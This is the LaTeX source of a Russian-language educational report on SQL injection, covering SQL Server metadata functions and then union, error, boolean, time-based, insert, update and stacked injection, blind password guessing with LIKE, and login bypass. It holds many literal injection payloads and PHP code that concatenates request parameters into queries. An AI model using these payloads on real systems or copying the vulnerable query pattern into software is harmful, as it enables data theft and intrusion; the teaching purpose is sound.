1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
|
\documentclass[12pt]{article}
\usepackage[T2A]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[english,russian]{babel}
\usepackage{fancyvrb}
\usepackage{underscore}
% \usepackage{tempora}
\usepackage[mag=1000,a4paper,bindingoffset=1cm,
left=2cm,right=2cm,top=2cm,bottom=2cm,
headheight=1cm,footskip=1cm,headsep=0.5cm
]{geometry}
\title{SQL инъекция в сервере MySQL}
\author{Андрей Гущин, Иван Улитин, Роман Стаин, Ирина Зимина}
\begin{document}
\maketitle
\tableofcontents
% Анализ БД через SQL инъекцию.
\section{Анализ БД через SQL инъекцию}
Анализ базы данных через SQL инъекцию является незаконным и неэтичным действием.
Это может привести к нарушению безопасности данных, краже конфиденциальной
информации и другим серьезным последствиям.
SQL инъекция - это техника взлома, которая использует недостатки в системе
безопасности базы данных для выполнения вредоносного кода. Эта техника позволяет
злоумышленнику получить несанкционированный доступ к базе данных и выполнить
различные операции, включая просмотр, изменение и удаление данных.
Но помимо использования инъекций для получения или изменения данных
непосредственно в БД атакуемого сервиса, можно также изучить инфраструктуру
используемой СУБД. Например, выяснить существующие в БД таблицы. Также можно
найти названия служебных баз данных, в которых в некоторых случаях могут
храниться незашифрованные пароли. Зачастую, настройки СУБД также хранятся прямо
внутри управляемых ей баз данных.
Так как все служебные данные также хранятся в базах данных рядом с
пользовательскими данными, то получить их можно с помощью тех же методов,
которые применяются для получения обычных данных.
Хорошие администраторы баз данных принимают все меры для защиты своих баз данных
от SQL инъекций, такие как использование параметризованных запросов, валидацию
пользовательского ввода, ограничение доступа пользователей и т.д. Однако, если
злоумышленник обнаружил уязвимость в базе данных, то проведение SQL инъекции
может позволить ему обойти меры защиты и получить доступ к данным.
% Реализация SQL инъекции: получение пользовательской информации.
\section{Реализация SQL инъекции: получение пользовательской информации.}
В современном мире большинство людей ежедневно использует многочисленное количество веб-приложений: интернет-магазины,
клиентские сайты, разнообразные web-приложения крупных организаций (официальные сайты компаний, системы оплаты, государственные услуги и т.д.).
Во многих таких сайтах или приложениях используются базы данных и соответственно системы управления этими базами данных.
Инъекция SQL технология взлома, позволяющая получить различную пользовательскую информацию: пароли, логины.
Если web-сайт огранизации, обращающейся к БД собирает более конфиденциальную информацию (паспортные данные, адреса проживания), то такая информация более интересна для злоумышленника и угрозы осуществляются чаще.
SQL Server хранит данные, и эти данные служат различным бизнес-целям. Помимо этого в SQL Server имеется информация об этих данных, и эта информация называется метаданными.
SQL Server предоставляет несколько системных функций, которые вернут метаданные. В SQL Server имеется более 30 функций метаданных.
функции метаданных:
SERVERPROPERTY
DATABASEPROPERTYEX
DB_NAME и DB_ID
FILE_NAME, FILE_ID и FILE_IDEX
SCHEMA_NAME и SCHEMA_ID
OBJECT_NAME и OBJECT_ID
STATS_DATE
Функция SERVERPROPERTY.
Позволяет получить различные свойства экземпляра SQL Server. Она возвращает такую информацию, как имя сервера, редакцию SQL Server, версию продукта, является ли он кластеризованным и т.д.
\begin{Verbatim}
SELECT
SERVERPROPERTY('MachineName') AS ComputerName,
SERVERPROPERTY('ServerName') AS InstanceName,
SERVERPROPERTY('Edition') AS Edition,
SERVERPROPERTY('ProductVersion') AS ProductVersion,
SERVERPROPERTY('ProductLevel') AS ProductLevel,
SERVERPROPERTY('Collation') AS Collation,
SERVERPROPERTY('IsIntegratedSecurityOnly') AS IsIntegratedSecurityOnly,
SERVERPROPERTY('EngineEdition') AS DatabaseEngineEdition,
SERVERPROPERTY('IsHadrEnabled') AS IsHadrEnabled,
SERVERPROPERTY('IsClustered') AS IsClustered,
SERVERPROPERTY('IsBigDataCluster') AS IsBigDataCluster,
SERVERPROPERTY('InstanceDefaultDataPath') AS InstanceDefaultDataPath,
SERVERPROPERTY('InstanceDefaultLogPath') AS InstanceDefaultLogPath,
SERVERPROPERTY('InstanceDefaultBackupPath') AS InstanceDefaultBackupPath
GO
\end{Verbatim}
Функция DATABASEPROPERTYEX.
Возвращает информацию уровня базы данных, включая такие свойства базы данных, как восстановление, статус, конфигурацию автосжатия, репликацию и т.д.
Потребуется указать имя базы данных, а также название свойства.
Этот запрос T-SQL даст модель восстановления, текущий статус базы данных и пользовательский доступ к указанной базе данных (TESTDB).
Вывод показывает, что TESTDB использует полную модель восстановления, находится в режиме онлайн и использует многопользовательский доступ к базе данных.
\begin{Verbatim}
SELECT
DATABASEPROPERTYEX('TESTDB', 'RECOVERY') AS [Recovery Model],
DATABASEPROPERTYEX('TESTDB', 'Status') AS [DB Status],
DATABASEPROPERTYEX('TESTDB', 'UserAccess') AS [UserAccess];
GO
\end{Verbatim}
Функции DB_NAME и DB_ID.
Используются для получения имени базы данных по ID базы данных или ID базы данных по имени.
Если не указать ID или имя базы данных, выходные данные будут содержать информацию о базе данных, для которой выполнялся запрос.
В примере показывается, как указать ID пользовательской базы данных, чтобы вернуть ее имя, и, напротив, указать имя базы данных, чтобы получить ее ID.
\begin{Verbatim}
USE TESTDB
GO
SELECT DB_NAME() AS [DB Name], DB_ID() AS [DB ID]
GO
SELECT DB_NAME(7) AS [DB Name], DB_ID('TESTDB') AS [DB ID]
\end{Verbatim}
Результат обоих операторов одинаков.
Следующие функции метаданных имеют отношение к информации уровня файла:
FILE_NAME
FILE_ID
FILE_IDEX
Функция FILE_NAME возвращает логическое имя файла для заданного ID файла базы данных,
в то время как функция FILE_ID вернет ID логического файла для указанного имени файла базы данных.
Функция FILE_IDEX может вернуть ID логического файла по указанному имени файла базы данных,
Этот пример выполняет sp_helpdb на пользовательской базе данных TESTDB, чтобы вернуть всю информацию уровня файла.
Можно увидеть имена файлов, ID и другие подробности в выводе процедуры.
\begin{Verbatim}
EXEC sp_helpdb 'TESTDB'
GO
SELECT FILE_NAME(1) AS 'File Name 1',
FILE_NAME(2) AS 'File Name 2';
GO
\end{Verbatim}
Функции SCHEMA_NAME и SCHEMA_ID
Используются для получения имени и ID для заданного имени схемы или ID схемы. Если обратиться к sys.schemas, получите имя схемы и ее ID.
\begin{Verbatim}
SELECT SCHEMA_NAME() AS [Schema Name],
SCHEMA_NAME(1) AS [Schema Name using ID],
SCHEMA_NAME(2) AS [Schema Name using ID],
SCHEMA_NAME(3) AS [Schema Name using ID]
\end{Verbatim}
В результате получаем имя каждой схемы, которую указали с помощью ID. Для первого элемента значением по умолчанию является 1, поэтому два первых столбца совпадают.
Подобным образом имена этих схем были скопированы из результатов и вставлены в функцию SCHEMA_ID, чтобы получить их ID с помощью следующего запроса.
\begin{Verbatim}
SELECT SCHEMA_ID() AS [Schema ID],
SCHEMA_ID('dbo') AS [Schema ID using Name],
SCHEMA_ID('guest') AS [Schema ID using Name],
SCHEMA_ID('INFORMATION_SCHEMA') AS [Schema ID using Name]
\end{Verbatim}
Функции OBJECT_NAME и OBJECT_ID
Чтобы получить ID объекта, в функции OBJECT_ID нужно указать имя объекта, а чтобы получить имя объекта, в функции OBJECT_NAME следует указать ID объекта.
В примере имя таблицы OrderDetails из базы данных TESTDB используется для получения ID этой таблицы. Также получаем имя с помощью OBJECT_ID.
\begin{Verbatim}
USE TESTDB
SELECT OBJECT_ID('TESTDB.dbo.OrderDetails') AS [ObjectID]
GO
SELECT OBJECT_NAME(901578250) AS [ObjectName]
\end{Verbatim}
Функция STATS_DATE
Вернет дату последнего обновления статистики для таблицы или индексированного представления по object_id и stats_id.
\begin{Verbatim}
SELECT object_id, name, stats_id FROM sys.stats
WHERE object_id = 901578250GO
SELECT STATS_DATE(901578250, 2) AS [Last stats update date]
\end{Verbatim}
Запрос возвращает список всех имен статистики и их идентификаторы для этого объекта, а функция показывает, когда обновлялась статистика с ID 2.
Можно также получить дату последнего обновления статистки для всех статистик, выполнив следующий запрос:
\begin{Verbatim}
USE TESTDB
SELECT name AS StatsName,
STATS_DATE(object_id, stats_id) AS [Latest stats update date]
FROM sys.stats
WHERE object_id = OBJECT_ID('dbo.OrderDetails');
GO
\end{Verbatim}
% Реализация SQL инъекции: типы данных
\section{Реализация SQL инъекции: типы SQL запросов}
Одним из критериев классификации SQL инъекции является тип запроса,
в который можно встраивать инструкции\dots
\subsection{Union-based}
Первый метод заключается в добавлении конструкции UNION, позволяющей вертикально комбинировать данные из разных таблиц в одну. Как правило, требуется, чтобы на сайте было поле, куда выводится сообщение или чтобы на
сайте была таблица, которая заполняется при выполнении SQL-запроса сервером (например, вывод расписания врача после введения в текстовом поле его имени).
Например, сайт, возвращающий имя и логин пользователей по id и использующий следующий SQL-запрос:
\begin{Verbatim}
SELECT name,email FROM users WHERE id='<id>';
\end{Verbatim}
Для успешной эксплуатации потребуется дописать запрос, введя следующее:
\begin{Verbatim}
1' UNION SELECT password,secret FROM users --
\end{Verbatim}
В итоге запрос будет выглядеть следующим образом:
\begin{Verbatim}
SELECT name,email FROM users WHERE id='1'
UNION
SELECT password,secret FROM users -- ';
\end{Verbatim}
В результате вернётся пароль пользователя.
\subsection{Error-based}
Суть Error-based заключается в том, что можно извлекать нужную информацию из запроса посредством просмотра ошибок работы вызываемых функций. В некоторых случаях можно манипулировать выводом текста в сообщении
об ошибке. Например это можно сделать с помощью функции \textit{ExtractValue()} в
MySQL. Эта функция используется для извлечения значения из строки XML.
Пример запроса, который вернет версию базы данных в сообщении ошибки:
\begin{Verbatim}
SELECT name,email FROM users
WHERE id='1' and ExtractValue(rand(),concat(0x3a,version())) --
\end{Verbatim}
\subsection{Boolean-based}
Пусть есть SQL-запрос:
\begin{Verbatim}
SELECT email FROM users WHERE id='<id>';
\end{Verbatim}
Отличаться запрос от предыдущих примеров будет тем, что полученная почта не
будет высвечиваться, а, например, обрабатываться на backend, и пусть это будет
отправка письма для восстановления аккаунта. В случае, если по SQL-запросу
из базы данных не возвращается хотя бы одна строка, то можно наблюдать
ошибку с отсутствующим пользователем.
Для того, чтобы дальше развивать эту уязвимость, можно вписать следующее:
\begin{Verbatim}
1' and password LIKE 'a%
\end{Verbatim}
чтобы запрос принял вид:
\begin{Verbatim}
SELECT email FROM users WHERE id='1' and password LIKE 'a%';
\end{Verbatim}
Оператор \textit{LIKE} используется в условии \textit{WHERE} для поиска заданного шаблона в столбце, а знак процента представляет нулевой, один или несколько символов.
В таком случае увидим ошибку отсутствующей почты (при существующем аккаунте с \textit{id=1}) только, если первый символ пароля не 'a'. После чего можно перебирать по одному символу и получать значения из базы данных.
\subsection{Time-based}
Time-based отличается от boolean-based тем, что результат работы запроса определяется по времени задержки ответа от сервера. Данный тип запросов можно эксплуатировать в любом уязвимом поле. Пример запроса:
\begin{Verbatim}
SELECT login FROM users WHERE id='<id>';
\end{Verbatim}
И если ввести
\begin{Verbatim}
1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) --
\end{Verbatim}
То получим следующий запрос:
\begin{Verbatim}
SELECT login FROM users
WHERE id='1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) -- ';
\end{Verbatim}
И в случае, если версия базы данных будет 5, то, например, страница веб-сайта загрузится на 15 секунд медленнее.
\subsection{Insert}
SQL-инъекция в \textit{INSERT} запросе процесс сложнее, так как во многих случаях потребует наличие исходников (для избежания повреждения данных в таблицах).
Принцип эксплуатации \textit{INSERT} SQL-инъекции заключается в добавлении в таблицу строк-результатов работы другого SQL-запроса, хотя формально выполняется только один запрос в базу данных.
Есть запрос, добавляющий пользователя в БД:
\begin{Verbatim}
INSERT INTO users(email,login,password)
VALUES('<input0>','<input1>','<input2>');
\end{Verbatim}
Таким образом, если в поле логина ввести следующее:
\begin{Verbatim}
test1','1234'),('my@email.com',VERSION(),'1337') --
\end{Verbatim}
То получим запрос, создающий двух пользователей, второй из которых с почтой my@email.com и паролем 1337 будет содержать результат работы \textit{VERSION()} -- текущей версии базы данных (MySQL):
\begin{Verbatim}
INSERT INTO users(email,login,password)
VALUES('...','test1','1234'), ('my@email.com',VERSION(),'1337') --
\end{Verbatim}
\subsection{Update}
Основывается на том же методе, что и в \textit{INSERT} SQL-инъекции. Оператор \textit{UPDATE} используется для обновления существующих записей в таблице.
Пример запроса:
\begin{Verbatim}
UPDATE users SET about='about' WHERE id='1';
\end{Verbatim}
Введем следующее:
\begin{Verbatim}
', email=VERSION() WHERE id='1' --
\end{Verbatim}
И в итоге получим запрос, помещающий в поле почты пользователя с \textit{id=1} версию базы данных:
\begin{Verbatim}
UPDATE users SET about='', email=VERSION() WHERE id='1' -- ' WHERE id='1';
\end{Verbatim}
\subsection{Stacked}
Суть Stacked SQL-инъекции сводится к тому, что возможно за раз отправить несколько SQL-запросов, перечислив их через точку с запятой (;). Для некоторых баз данных такой способ не подойдёт, поскольку они не поддерживают подобное перечисление запросов. Чаще всего такой тип SQL-инъекции эксплуатируют у баз данных MSSQL.
Пример запроса:
\begin{Verbatim}
SELECT login FROM users WHERE id='<id>';
\end{Verbatim}
Для эксплуатации введем:
\begin{Verbatim}
1'; SELECT password FROM users WHERE id='1
\end{Verbatim}
И получим два запроса:
\begin{Verbatim}
SELECT login FROM users WHERE id='1';
SELECT password FROM users WHERE id='1';
\end{Verbatim}
% Реализация SQL инъекции: инъекция в сложных запросах.
% https://webew.ru/articles/2078.webew
\section{Реализация SQL инъекции: инъекция в сложных запросах}
В простейшем примере используется возможность встроить код в конец SQL-запроса.
На практике в конце SQL-запроса могут быть дополнительные условия, операторы
сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае,
злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос
в целом остался синтаксически корректным, но выболнял другую функцию. Здесь мы
рассмотрим простейший пример уязвимого запроса с дополнительным условием.
\begin{Verbatim}
$sql = "SELECT username, realname FROM users WHERE cityid='" .
$_GET['cityid'] . "' AND age<'35'";
\end{Verbatim}
В этом случае, злоумышленник может нейтрализовать дополнительное условия,
передав в качестве параметра \textbf{cityid} \textit{20' UNION SELECT username,
password AS realname FROM users WHERE 1 OR '1}, что приведет к формированию
следующего запроса:
\begin{Verbatim}
SELECT username, realname FROM users WHERE cityid='20' UNION SELECT
username, password AS realname FROM users WHERE 1 OR '1' AND age<'35';
\end{Verbatim}
В результате условие \texttt{age < 35} не будет влиять на выборку, т.к. оператор
\textbf{OR} имеет более низкий приоритет, чем \textbf{AND}, и \textbf{WHERE} из
приведённого выше запроса по-другому можно записать в виде \texttt{WHERE
(cityid='20' AND 1) OR ('1' AND age<'35')} (напомним, что выражение
\texttt{WHERE 1} истинно всегда). В результате под условие подойдут и те строки,
у которых \texttt{cityid='20'}, и те, у которых \texttt{age < 35}, причем
наличие последних не обязательно.
В случае сложных запросов успешные SQL-иъекции требуют некоторой
изобретательности, но можно ожидать, что у злоумышленников она имеется.
% Реализация SQL инъекции: результаты запроса не отображаются пользователю.
\section{Реализация SQL инъекции: результаты запроса не отображаются пользователю}
Может оказаться, что уязвимым является запрос, результаты которого не
отображаются пользователю. Это может быть, например, вспомогательный запрос:
\begin{Verbatim}
$sql = "SELECT count(*) FROM users WHERE userid='" . $_GET['userid'] . "'";
\end{Verbatim}
Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он
возвращает любую отличную от нуля величину — показывается профиль пользователя с
соответствующим userid, если же возвращён 0 (то есть, нет пользователей,
удовлетворяющих критерию запроса) — сообщение "пользователь не найден".
В этом случае определение пароля (или другой информации) производится перебором.
Взломщик передает в качестве параметра \texttt{userid} строку \texttt{2' AND
password LIKE 'a\%}. Итоговый запрос:
\begin{Verbatim}
SELECT count(*) FROM users WHERE userid='2' AND password LIKE 'a%';
\end{Verbatim}
Взломщик получит "пользователь не найден", если пароль не начинается на букву
'a', или стандартную страницу с профилем пользователя, в противном случае.
Перебором определяется первая буква пароля, затем вторая и.т.д.
Есть ещё такая штука как Login Bypass Authentication, суть которой как раз
передается в названии подтемы: важно не получение значения их базы данных, а
завершение запроса верным образом (его успешное выполнение).
\begin{Verbatim}
SELECT id FROM users WHERE login='<login>' AND password='<password>';
\end{Verbatim}
\begin{Verbatim}
SELECT id FROM users
WHERE login='1234\' AND password='UNION SELECT 1 -- ';
\end{Verbatim}
То есть каждый из запросов выше возвращает 1. Это может быть использовано для
того, чтобы заставить веб-сервер или любой другой интерфейс между пользователем
и базой данных выполнить указания, которые необходимы взломщику. Например,
веб-ресурс выполнять некоторую команду A при таком-то определенном результате
запроса, которая позволяла бы хакеру продолжить атаку на этот ресурс.
\end{document}
|